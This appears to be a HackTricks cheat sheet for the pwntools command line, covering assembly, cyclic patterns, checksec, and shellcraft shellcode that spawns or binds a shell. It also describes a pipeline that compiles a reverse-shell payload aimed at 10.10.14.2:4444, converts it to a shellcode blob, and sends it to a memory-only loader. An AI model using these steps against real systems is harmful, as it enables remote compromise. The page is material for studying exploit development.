{{#include ../../../banners/hacktricks-training.md}}
pip3 install pwntools
Get opcodes from line or file.
pwn asm "jmp esp"
pwn asm -i <filepath>
Can select:
- output type (raw,hex,string,elf)
- output file context (16,32,64,linux,windows...)
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
Checksec script
pwn checksec <executable>
Get a pattern
pwn cyclic 3000
pwn cyclic -l faad
Can select:
- The used alphabet (lowercase chars by default)
- Length of uniq pattern (default 4)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
Attach GDB to a process
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
Can select:
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- sysrootpath
Disable nx of a binary
pwn disablenx <filepath>
Disas hex opcodes
pwn disasm ffe4
Can select:
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
Print differences between 2 files
pwn elfdiff <file1> <file2>
Get hexadecimal representation
pwn hex hola #Get hex of "hola" asciiGet hexdump
pwn phd <file>
Can select:
- Number of bytes to show
- Number of bytes per line highlight byte
- Skip bytes at beginning
Get shellcodes
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
Can select:
- shellcode and arguments for the shellcode
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
- list possible shellcodes
- Generate ELF as a shared library
Get a python template
pwn template
Can select: host, port, user, pass, path and quiet
From hex to string
pwn unhex 686f6c61
To update pwntools
pwn update
Pwntools can turn a standalone ELF into a single raw shellcode blob that self‑maps its segments and transfers execution to the original entrypoint. This is ideal for memory‑only loaders (e.g., Android apps invoking JNI to execute downloaded bytes).
Typical pipeline (amd64 example)
- Build a static, position‑independent payload ELF (musl recommended for portability):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""- Convert ELF → shellcode with pwntools:
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")- Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process.
Notes
- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.
- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android.
- Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX.
{{#include ../../../banners/hacktricks-training.md}}